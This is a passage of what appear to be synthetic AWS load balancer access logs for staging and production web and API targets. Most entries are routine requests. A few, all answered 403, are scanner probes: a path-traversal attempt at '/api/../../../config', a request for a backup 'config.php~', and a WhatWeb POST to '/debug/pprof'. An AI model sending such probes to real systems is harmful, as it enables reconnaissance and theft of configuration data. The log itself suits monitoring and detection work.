"Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b2-b564a29e931a40e7b9c30888" "staging-alb.example.com" "-" 6 2024-11-01T02:04:18.579383Z "forward" "-" "-" "147.156.117.73:80" "200" "-" "-" +http 2024-11-01T02:04:20.531955Z staging-alb 50.3.187.120:57355 203.174.162.164:8080 0.115506 0.121531 0.096553 200 200 144 5407 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4b4-fcceba1fee4e4b5983b37ac1" "staging-alb.example.com" "-" 0 2024-11-01T02:04:20.531955Z "forward" "-" "-" "203.174.162.164:8080" "200" "-" "-" +http 2024-11-01T02:04:21.919729Z staging-alb 69.108.89.224:49796 88.31.209.22:8080 0.013211 0.583456 0.022702 404 404 673 7677 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4b5-ae8379b727dc4c6fa6eda411" "staging-alb.example.com" "-" 10 2024-11-01T02:04:21.919729Z "forward" "-" "-" "88.31.209.22:8080" "404" "-" "-" +https 2024-11-01T02:04:22.127657Z staging-alb 180.174.26.73:54876 205.148.239.96:443 0.137670 0.292574 0.060481 302 302 556 4686 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b6-e5bd53aa72b64b85bb1e0359" "staging-alb.example.com" "-" 0 2024-11-01T02:04:22.127657Z "forward" "-" "-" "205.148.239.96:443" "302" "-" "-" +http 2024-11-01T02:04:22.644656Z staging-alb 219.166.190.193:46193 86.227.54.178:443 0.098136 0.587440 0.149014 200 200 354 10679 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b6-5f54962dd8844abc829b8eac" "staging-alb.example.com" "-" 4 2024-11-01T02:04:22.644656Z "forward" "-" "-" "86.227.54.178:443" "200" "-" "-" +https 2024-11-01T02:04:24.247819Z staging-alb 230.209.148.9:15934 245.191.177.63:8080 0.069350 0.076478 0.088154 200 200 783 2394 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4b8-2f8e43c7670b4c4c9f59c26a" "staging-alb.example.com" "-" 10 2024-11-01T02:04:24.247819Z "forward" "-" "-" "245.191.177.63:8080" "200" "-" "-" +https 2024-11-01T02:04:24.506046Z prod-api-alb 74.33.173.93:23912 10.0.20.88:443 0.087275 0.466635 0.082237 200 200 350 8601 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4b8-2afd8f5ff03b4417b7ff3e37" "prod-api-alb.example.com" "-" 1 2024-11-01T02:04:24.506046Z "forward" "-" "-" "10.0.20.88:443" "200" "-" "-" +https 2024-11-01T02:04:24.740885Z prod-api-alb 156.226.167.35:35736 10.0.188.157:443 0.034862 0.265950 0.033310 404 404 929 13999 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4b8-9ef1c02e82664e05928d4e16" "prod-api-alb.example.com" "-" 4 2024-11-01T02:04:24.740885Z "forward" "-" "-" "10.0.188.157:443" "404" "-" "-" +https 2024-11-01T02:04:25.150873Z prod-api-alb 8.234.163.2:33987 10.0.5.38:443 0.015996 0.099266 0.004190 404 404 529 2624 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4b9-a2412c224e0240f299ed5bf8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:04:25.150873Z "forward" "-" "-" "10.0.5.38:443" "404" "-" "-" +https 2024-11-01T02:04:25.347986Z staging-alb 227.31.44.147:44274 53.166.180.230:443 0.095877 0.392192 0.096854 200 200 474 13098 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4b9-6798b14b80334551a604b281" "staging-alb.example.com" "-" 6 2024-11-01T02:04:25.347986Z "forward" "-" "-" "53.166.180.230:443" "200" "-" "-" +https 2024-11-01T02:04:27.156120Z prod-web-alb 107.148.23.68:60752 10.0.93.244:443 0.080276 0.470911 0.049708 404 404 217 9443 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4bb-09168488564a4d10a1893f83" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:27.156120Z "forward" "-" "-" "10.0.93.244:443" "404" "-" "-" +https 2024-11-01T02:04:28.861762Z prod-web-alb 33.43.1.200:23292 10.0.238.254:443 0.031011 0.071520 0.064078 200 200 156 9913 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4bc-b82737f53b2249989f091793" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:28.861762Z "forward" "-" "-" "10.0.238.254:443" "200" "-" "-" +http 2024-11-01T02:04:29.825921Z staging-alb 248.128.27.104:48466 68.54.12.226:8080 0.099496 0.308788 0.062478 200 200 560 9081 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4bd-f75e092bd2724bd791b0d5e8" "staging-alb.example.com" "-" 4 2024-11-01T02:04:29.825921Z "forward" "-" "-" "68.54.12.226:8080" "200" "-" "-" +https 2024-11-01T02:04:31.796005Z prod-api-alb 175.211.147.5:39543 10.0.43.188:443 0.014921 0.480610 0.057167 302 302 212 11430 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4bf-e520f8e848144bbfb7190952" "prod-api-alb.example.com" "-" 8 2024-11-01T02:04:31.796005Z "forward" "-" "-" "10.0.43.188:443" "302" "-" "-" +https 2024-11-01T02:04:32.042266Z staging-alb 89.62.200.110:17273 55.129.115.191:443 0.049380 0.415671 0.056784 200 200 106 5108 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4c0-7541021ddcf24378a220b45a" "staging-alb.example.com" "-" 3 2024-11-01T02:04:32.042266Z "forward" "-" "-" "55.129.115.191:443" "200" "-" "-" +https 2024-11-01T02:04:32.393152Z prod-api-alb 156.67.239.114:53074 10.0.83.220:443 0.092409 0.141077 0.088596 301 301 171 5237 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4c0-342e38ddac4d48ff86c1b0af" "prod-api-alb.example.com" "-" 6 2024-11-01T02:04:32.393152Z "forward" "-" "-" "10.0.83.220:443" "301" "-" "-" +http 2024-11-01T02:04:33.205754Z staging-alb 236.49.255.150:47691 122.51.225.25:443 0.056392 0.664759 0.066196 302 302 499 12291 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4c1-b70355372c0d43b88c66590e" "staging-alb.example.com" "-" 5 2024-11-01T02:04:33.205754Z "forward" "-" "-" "122.51.225.25:443" "302" "-" "-" +https 2024-11-01T02:04:34.970292Z prod-api-alb 75.149.78.84:45857 10.0.236.191:443 0.094602 0.292230 0.077942 301 301 96 4683 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4c2-ca6817df967645608825e4d9" "prod-api-alb.example.com" "-" 1 2024-11-01T02:04:34.970292Z "forward" "-" "-" "10.0.236.191:443" "301" "-" "-" +https 2024-11-01T02:04:35.099720Z prod-api-alb 171.149.108.136:57715 10.0.103.23:443 0.046685 0.403237 0.052250 200 200 181 14936 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4c3-27cd33e5e4c742f6b9b5b45a" "prod-api-alb.example.com" "-" 1 2024-11-01T02:04:35.099720Z "forward" "-" "-" "10.0.103.23:443" "200" "-" "-" +https 2024-11-01T02:04:36.651794Z staging-alb 111.46.205.149:39878 28.106.144.236:8080 0.128419 0.611756 0.048527 200 200 756 13916 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4c4-314d7e952b22483db1794117" "staging-alb.example.com" "-" 5 2024-11-01T02:04:36.651794Z "forward" "-" "-" "28.106.144.236:8080" "200" "-" "-" +https 2024-11-01T02:04:38.067459Z prod-api-alb 87.254.154.191:42519 10.0.249.75:443 0.081915 0.478983 0.094371 200 200 202 11271 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4c6-16363074d4a94d5fb20cd35f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:04:38.067459Z "forward" "-" "-" "10.0.249.75:443" "200" "-" "-" +https 2024-11-01T02:04:39.847112Z prod-api-alb 185.181.15.100:22609 10.0.145.57:443 0.088122 0.047681 0.064601 403 403 51 5421 "GET /config.php~ HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4c7-4e6cab815f0b47e1bb50067b" "-" "-" 1 2024-11-01T02:04:39.847112Z "forward" "-" "-" "10.0.145.57:443" "403" "-" "-" +https 2024-11-01T02:04:41.596470Z prod-web-alb 76.240.224.138:10374 10.0.105.167:443 0.090453 0.114414 0.036900 200 200 26 9558 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4c9-7e50a3876a8642e7a3a5103d" "prod-web-alb.example.com" "-" 6 2024-11-01T02:04:41.596470Z "forward" "-" "-" "10.0.105.167:443" "200" "-" "-" +https 2024-11-01T02:04:42.749901Z prod-api-alb 98.148.74.82:26477 10.0.106.220:443 0.047268 0.387777 0.017846 200 200 996 6762 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ca-9affd22826254be0bf0d523f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:04:42.749901Z "forward" "-" "-" "10.0.106.220:443" "200" "-" "-" +https 2024-11-01T02:04:44.324814Z prod-web-alb 248.206.196.19:15526 10.0.134.143:443 0.024240 0.074247 0.054998 200 200 181 12674 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4cc-26584e02b3294958aedd147c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:04:44.324814Z "forward" "-" "-" "10.0.134.143:443" "200" "-" "-" +https 2024-11-01T02:04:45.990745Z prod-web-alb 190.170.5.123:43517 10.0.80.42:443 0.008611 0.017231 0.042423 301 301 406 10731 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4cd-cc4d1472d4c4481f92a8a5b3" "prod-web-alb.example.com" "-" 8 2024-11-01T02:04:45.990745Z "forward" "-" "-" "10.0.80.42:443" "301" "-" "-" +https 2024-11-01T02:04:46.356071Z prod-api-alb 29.234.171.223:47321 10.0.1.118:443 0.062688 0.244980 0.054431 200 200 426 5802 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4ce-39e6b658e9cc4aad8668793b" "prod-api-alb.example.com" "-" 9 2024-11-01T02:04:46.356071Z "forward" "-" "-" "10.0.1.118:443" "200" "-" "-" +https 2024-11-01T02:04:47.994849Z staging-alb 51.95.145.185:35791 22.0.214.73:8080 0.004649 0.356429 0.031670 200 200 276 13432 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4cf-ebd2ff615a214cbd805715e5" "staging-alb.example.com" "-" 5 2024-11-01T02:04:47.994849Z "forward" "-" "-" "22.0.214.73:8080" "200" "-" "-" +https 2024-11-01T02:04:48.402513Z prod-web-alb 24.237.249.248:44631 10.0.116.178:443 0.068458 0.247732 0.016908 302 302 720 7126 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4d0-8693b87f4e5e443d8a4d9722" "prod-web-alb.example.com" "-" 0 2024-11-01T02:04:48.402513Z "forward" "-" "-" "10.0.116.178:443" "302" "-" "-" +https 2024-11-01T02:04:49.307309Z prod-api-alb 34.239.230.213:62953 10.0.69.130:443 0.047649 0.227620 0.006622 200 200 80 324 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4d1-8bf492a61d1b4197be3a0603" "prod-api-alb.example.com" "-" 3 2024-11-01T02:04:49.307309Z "forward" "-" "-" "10.0.69.130:443" "200" "-" "-" +https 2024-11-01T02:04:50.433159Z prod-web-alb 175.126.18.222:53569 10.0.86.46:443 0.036648 0.451875 0.066934 301 301 1 3118 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4d2-44003f5941ac43a4bd49e6e8" "prod-web-alb.example.com" "-" 2 2024-11-01T02:04:50.433159Z "forward" "-" "-" "10.0.86.46:443" "301" "-" "-" +https 2024-11-01T02:04:50.676906Z prod-web-alb 190.250.131.119:53680 10.0.239.160:443 0.039106 0.249214 0.076883 404 404 175 10029 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4d2-19a7b0a8ddbf4b9babbcaf60" "prod-web-alb.example.com" "-" 7 2024-11-01T02:04:50.676906Z "forward" "-" "-" "10.0.239.160:443" "404" "-" "-" +https 2024-11-01T02:04:52.337042Z staging-alb 12.52.143.219:31290 24.88.169.46:8080 0.018992 0.343499 0.070727 302 302 913 13724 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4d4-687077038cbf4bee8c45831b" "staging-alb.example.com" "-" 4 2024-11-01T02:04:52.337042Z "forward" "-" "-" "24.88.169.46:8080" "302" "-" "-" +https 2024-11-01T02:04:53.802461Z prod-api-alb 46.220.121.136:36109 10.0.218.61:443 0.063842 0.496343 0.061671 200 200 379 4888 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4d5-2db671ab78df4bceb2e378f4" "prod-api-alb.example.com" "-" 1 2024-11-01T02:04:53.802461Z "forward" "-" "-" "10.0.218.61:443" "200" "-" "-" +http 2024-11-01T02:04:54.388490Z staging-alb 172.228.76.194:37851 231.127.232.230:8080 0.009282 0.297419 0.011218 301 301 584 14519 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4d6-6ae2cdb59c584a5f992f746a" "staging-alb.example.com" "-" 9 2024-11-01T02:04:54.388490Z "forward" "-" "-" "231.127.232.230:8080" "301" "-" "-" +https 2024-11-01T02:04:55.170676Z prod-api-alb 140.150.206.140:37113 10.0.242.251:443 0.000383 0.439864 0.062882 301 301 831 12324 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4d7-980e6b5d904542b1a1e4ae76" "prod-api-alb.example.com" "-" 6 2024-11-01T02:04:55.170676Z "forward" "-" "-" "10.0.242.251:443" "301" "-" "-" +https 2024-11-01T02:04:55.679228Z prod-api-alb 69.174.46.18:56029 10.0.251.31:443 0.097732 0.154417 0.016129 200 200 790 9637 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4d7-269590a3320c4faf96604349" "prod-api-alb.example.com" "-" 3 2024-11-01T02:04:55.679228Z "forward" "-" "-" "10.0.251.31:443" "200" "-" "-" +https 2024-11-01T02:04:56.764339Z prod-api-alb 39.16.55.125:39672 10.0.161.184:443 0.052430 0.353359 0.024879 301 301 734 7734 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d4d8-2c3d04aaa4124ce39c03d735" "prod-api-alb.example.com" "-" 7 2024-11-01T02:04:56.764339Z "forward" "-" "-" "10.0.161.184:443" "301" "-" "-" +http 2024-11-01T02:04:57.498717Z staging-alb 89.39.180.50:21929 188.127.128.160:443 0.084315 0.622864 0.118153 404 404 508 6789 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4d9-0729fb11b9d34157970f12e3" "staging-alb.example.com" "-" 1 2024-11-01T02:04:57.498717Z "forward" "-" "-" "188.127.128.160:443" "404" "-" "-" +https 2024-11-01T02:04:58.367246Z prod-web-alb 138.72.104.138:53993 10.0.135.46:443 0.025538 0.344032 0.044049 301 301 228 10894 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4da-4ade1e326f0145b2a2fe328c" "prod-web-alb.example.com" "-" 3 2024-11-01T02:04:58.367246Z "forward" "-" "-" "10.0.135.46:443" "301" "-" "-" +https 2024-11-01T02:04:59.007526Z prod-web-alb 136.130.205.239:13236 10.0.142.73:443 0.022312 0.289045 0.017683 200 200 173 12276 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4db-2c0c89eda3694d86942c56cc" "prod-web-alb.example.com" "-" 5 2024-11-01T02:04:59.007526Z "forward" "-" "-" "10.0.142.73:443" "200" "-" "-" +https 2024-11-01T02:05:00.382124Z prod-api-alb 175.27.150.153:20544 10.0.185.188:443 0.021326 0.359034 0.002338 301 301 880 6364 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d4dc-b47e7804ee194f6c86d25698" "prod-api-alb.example.com" "-" 7 2024-11-01T02:05:00.382124Z "forward" "-" "-" "10.0.185.188:443" "301" "-" "-" +https 2024-11-01T02:05:00.800965Z prod-web-alb 193.27.228.146:42306 10.0.81.19:443 0.042175 0.408438 0.001463 403 403 731 11708 "GET /api/../../../config HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d4dc-99174272bb34421fb712d7e2" "-" "-" 6 2024-11-01T02:05:00.800965Z "forward" "-" "-" "10.0.81.19:443" "403" "-" "-" +http 2024-11-01T02:05:01.133804Z staging-alb 117.148.69.218:50020 169.134.114.152:80 0.007972 0.087685 0.078832 200 200 39 6697 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4dd-779ed80e06cd4406a8d08090" "staging-alb.example.com" "-" 3 2024-11-01T02:05:01.133804Z "forward" "-" "-" "169.134.114.152:80" "200" "-" "-" +http 2024-11-01T02:05:02.346214Z staging-alb 103.31.125.193:23153 81.73.105.135:80 0.022038 0.542282 0.123582 200 200 654 12510 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d4de-5eb8f6f14a884eb3b4d60032" "staging-alb.example.com" "-" 4 2024-11-01T02:05:02.346214Z "forward" "-" "-" "81.73.105.135:80" "200" "-" "-" +https 2024-11-01T02:05:03.180692Z prod-web-alb 8.153.109.108:13984 10.0.213.147:443 0.061370 0.219268 0.064143 302 302 472 10017 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4df-e16eb18ad7f646b889d97997" "prod-web-alb.example.com" "-" 5 2024-11-01T02:05:03.180692Z "forward" "-" "-" "10.0.213.147:443" "302" "-" "-" +https 2024-11-01T02:05:03.800815Z prod-web-alb 104.184.32.22:62461 10.0.159.247:443 0.031173 0.203496 0.047027 200 200 817 11885 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d4df-593a2e4aecea4520a42101b1" "prod-web-alb.example.com" "-" 4 2024-11-01T02:05:03.800815Z "forward" "-" "-" "10.0.159.247:443" "200" "-" "-" +https 2024-11-01T02:05:04.525788Z staging-alb 185.181.125.99:12713 186.144.66.245:443 0.012642 0.705871 0.017034 403 403 261 6464 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d4e0-8fadd5d9678d4334b5d32e5f" "-" "-" 4 2024-11-01T02:05:04.525788Z "forward" "-" "-" "186.144.66.245:443" "403" "-" "-" +https 2024-11-01T02:05:05.476720Z prod-web-alb 14.156.17.58:56043 10.0.68.57:443 0.015934 0.373615 0.077798 200 200 141 10830 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" 